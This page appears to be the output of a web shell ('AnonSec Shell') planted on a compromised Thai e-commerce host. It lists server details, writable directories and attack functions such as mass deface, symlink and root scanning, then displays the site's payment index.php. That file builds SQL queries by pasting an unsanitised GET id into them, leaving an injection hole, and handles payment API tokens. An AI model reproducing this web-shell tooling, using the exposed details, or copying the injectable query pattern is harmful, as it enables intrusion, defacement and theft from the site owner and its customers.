AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/taladonnuch.com/talad/payment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/taladonnuch.com/talad/payment/index.php
<?php include('../include/meta.php');?>
<?php include('kkp/set_dev.php');?>

<?php
date_default_timezone_set("Asia/Bangkok");
$date = date("Y-m-d H:i:s");
$date2 = date("YmdHisB");
$date3 = date("YmdHis");
$date4 = date("Y-m-d");
if($_GET['id'])
{
	$Or_id = $_GET['id'];
}

$sql_or = array('table'=>'orders','where'=>"Oid = '".$Or_id."'");
$view_or = $view_db->view($sql_or);
$row_or = $view_db->q($view_or);

$sql_sa = array('table'=>'ship_addr','where'=>"SAid = '".$row_or['SAid']."'");
$view_sa = $view_db->view($sql_sa);
$row_sa = $view_db->q($view_sa);

$list_sp = array('table'=>'shipping','where'=>'status = 1 AND price = "'.$row_or['Oshipprice'].'"');
$view_sp = $view_db->view($list_sp);
$row_sp = $view_db->q($view_sp);

$num = 0;
$total = 0;
$list_ord = array('table'=>'order_detail','where'=>'Oid = "'.$Or_id.'"','order'=> "ORDER BY ODid ASC");
$view_ord = $view_db->view($list_ord);
$result_ord = $view_db->q_re($view_ord);
while($row_ord = $view_db->q_ro($result_ord))
{
  $num_mod = $num % 2;


  $sql_pro = array('table'=>'product','where'=>"id = '". $row_ord["Pid"]."'");
  $view_pro = $view_db->view($sql_pro);
  $row_pro = $view_db->q($view_pro);

  $sql_pros = array('table'=>'product_size','where'=>"product_id = '". $row_ord["Pid"]."' AND id = '".$row_ord["SPid"]."'");
  $view_pros = $view_db->view($sql_pros);
  $row_pros = $view_db->q($view_pros);

  $price = $row_pros['price'] * $row_ord['ODqty'];
  $total = $total +  $price;
  $num++;


}
$total_all = $total + $row_sp['price'];

$list_promo = array('table'=>'orders_promotion','where'=>'id_order = "'.$Or_id.'"');
$view_promo = $view_db->view($list_promo);
$result_promo = $view_db->q_re($view_promo);
while($row_promo = $view_db->q_ro($result_promo))
{
  $row_promo['name'];
  number_format( $row_promo['discount'], 2, '.', '' );
  $discount_all = $discount_all + $row_promo['discount'];

}
$total_all = $total_all - floatval(@$discount_all) ;
$total_all = $total_all;

$list = array(
		'table'=>'payment',
		'id_order'=>$Or_id
	  );

$delete = $actiondata_db->delete($list);


$list_or = array('table'=>'payment','order'=> "ORDER BY `id` DESC");
$view_or = $view_db->view($list_or);
$result_or = $view_db->q_ro($view_or);
$result_or2 = $view_db->q_nr($result_or2);

if(@$result_or2){
  $nume= substr($result_or['id_order'],-4,3);
  $nume = generateRunNumber($nume);
}else{
  $nume= 0;
  $nume = generateRunNumber($nume);
}
  $dateT = date("YmdHis");
  $day=date("z");
  $year=date("y");
  $jdate = $year.sprintf("%03d", $day+1);
  //$jdate = $year.sprintf("%03d", $day);

  $length = 1;
  $id_order = "ONN".$date3.$nume.$length;
  $nume= substr($wallet_o[0]['run'],-4,3);

  $_SESSION['order'][0]['id'] = $Or_id;
  $_SESSION['order'][0]['id_order'] = $id_order;
  $_SESSION['order'][0]['TransactionID'] = $id_order;
  $_SESSION['order'][0]['TransactionDateTime'] = $date3;
  $_SESSION['order'][0]['ServiceName'] = 'GenThaiQRPayment';
  $_SESSION['order'][0]['SystemCode'] = 'API';
  $_SESSION['order'][0]['ChannelCode'] = 'API';

  $_SESSION['order'][0]['BillPayment_Reference1'] = generateRandomNumber(4);;
  $_SESSION['order'][0]['BillPayment_Reference2'] = $jdate;
  $_SESSION['order'][0]['BillPayment_Reference3'] = '';

  $_SESSION['order'][0]['price'] = number_format($total_all, 2, '.', '');

	$sql_to = array('table'=>'payment_log','where'=>"date = '".$date4."'");
  $view_to = $view_db->view($sql_to);
  $row_to = $view_db->q($view_to);

 @$row_to['id'];
	if(@$row_to['id'] && $row_to['token_type']!='' && $row_to['access_token']!=''){

		$_SESSION['order'][0]['Authorization'] = $row_to['token_type']." ".$row_to['access_token'];
	//	echo $_SESSION['order'][0]['Authorization'];
	}else{

		$Authorization = $Authorization;
		$ConsumerKey = $ConsumerKey;
		$html_brand = $url_Token;
		$ch = curl_init();
		$options = array(
			CURLOPT_URL            => $html_brand,
			CURLOPT_RETURNTRANSFER => true,
			CURLOPT_HEADER         => false,
			CURLOPT_FOLLOWLOCATION => false,
			CURLOPT_ENCODING       => "",
			CURLOPT_AUTOREFERER    => false,
			CURLOPT_CONNECTTIMEOUT => 120,
			CURLOPT_TIMEOUT        => 120,
			CURLOPT_MAXREDIRS      => 10,
			CURLOPT_POST  		   => true,
			//CURLOPT_POSTFIELDS     => json_encode($postData),
			CURLOPT_POSTFIELDS     => "grant_type=client_credentials",
			CURLOPT_HTTPHEADER     => array(
				"Authorization: $Authorization",
				"Content-Type:application/x-www-form-urlencoded"
			)
		);
		if (!function_exists('curl_setopt_array')) {
			function curl_setopt_array(&$ch, $curl_options)
			{
				foreach ($curl_options as $option => $value) {
					if (!curl_setopt($ch, $option, $value)) {
						return false;
					}
				}
				return true;
			}
		}
		curl_setopt_array( $ch, $options );

		$response = curl_exec($ch);
		$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
		$data = json_decode($response, true);
		$name_table='payment_log';
		$list = array(
			'table'=>$name_table,
			'date'=>"'".@$date4."'",
			'access_token'=>"'".@$data['access_token']."'",
			'token_type'=>"'".@$data['token_type']."'"
		);

		$add = $actiondata_db->add_db($list);

		$_SESSION['order'][0]['Authorization'] = $data['token_type']." ".$data['access_token'];
	}



function generateRandomString($length = 3) {
    $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}
function generateRandomNumber($length = 1) {
    $characters = '0123456789';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}
function generateRunNumber($number) {
  $number = intval($number);
    if(strlen($number) <= 3){
      if($number == 999){
        $number = 1;
      }else {
        $number = $number+ 1;
      }
    }
    return sprintf("%03d", $number);
}
function formatPhoneNumberX($phoneNumber) {
  $phoneNumber = preg_replace('/[^0-9]/','',$phoneNumber);
  //  echo strlen($phoneNumber);
    if(strlen($phoneNumber) > 10) {
        $countryCode = substr($phoneNumber, 0, strlen($phoneNumber)-10);
        $areaCode = substr($phoneNumber, -10, 3);
        $nextThree = substr($phoneNumber, -7, 3);
        $lastFour = substr($phoneNumber, -4, 4);

        $phoneNumber = '+'.$countryCode.' ('.$areaCode.') '.$nextThree.'-'.$lastFour;
    }
    else if(strlen($phoneNumber) == 10) {
        $areaCode = substr($phoneNumber, 0, 1);
        //$areaCode2 = substr($phoneNumber, 1, 3);
        //$nextThree = substr($phoneNumber, 3, 3);
        $lastFour = substr($phoneNumber, 7, 3);

        //$phoneNumber = '('.$areaCode.') '.$nextThree.'-'.$lastFour;
        $phoneNumber = $areaCode.'xx xxxx'.$lastFour;
    }
    else if(strlen($phoneNumber) == 7) {
        $nextThree = substr($phoneNumber, 0, 3);
        $lastFour = substr($phoneNumber, 3, 4);

        $phoneNumber = $nextThree.'-'.$lastFour;
    }else{
        $phoneNumber = '-';
    }

    return  $phoneNumber;
}

header("location:../payment/payment_qr.php");
exit();
 ?>

Anon7 - 2022
AnonSec Team